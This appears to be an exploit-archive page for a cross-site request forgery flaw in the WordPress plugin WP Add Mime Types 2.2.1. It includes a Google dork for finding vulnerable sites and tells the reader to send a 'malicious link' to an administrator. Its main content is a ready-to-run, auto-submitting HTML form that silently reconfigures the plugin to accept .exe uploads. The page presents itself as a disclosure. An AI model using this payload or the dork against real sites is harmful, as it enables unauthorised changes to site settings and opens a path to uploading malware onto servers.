Wordpress plugin add mime types 2.2.1 crosssite request forgery Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-08-20 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin add mime types 2.2.1 crosssite request forgery is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1
# Google Dork: inurl:”/wp-content/plugins/wp-add-mime-types”
# Date: 18 july, 2019
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://wordpress.org/plugins/wp-add-mime-types/
# Software Link: https://downloads.wordpress.org/plugin/wp-add-mime-types.2.2.1.zip
# Version: 2.2.1
# Tested on: Apache/2.2.24 (CentOS)
# CVE : Fresh

#About Plugin
The plugin additionally allows the mime types and file extensions to WordPress. In other words, your WordPress site can upload various file extensions.
#Vulnerable Description
WordPress plugin WP Add Mime Types plugin 2.2.1 vulnerable to CWE-352.
## CSRF Code
Share this malicious link to the plugin user. Once he clicks the link, the mime type will automatically get updated. Here I shared a POC to allow exe files(application/x-msdownload) to be uploaded.
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://IP/wp-admin/options-general.php?page=wp-add-mime-types%2Fincludes%2Fadmin.php">
<input type="hidden" name="mime_type_values" value="exe = application/x-msdownload">
<input type="submit">
</form>
</body>
</html>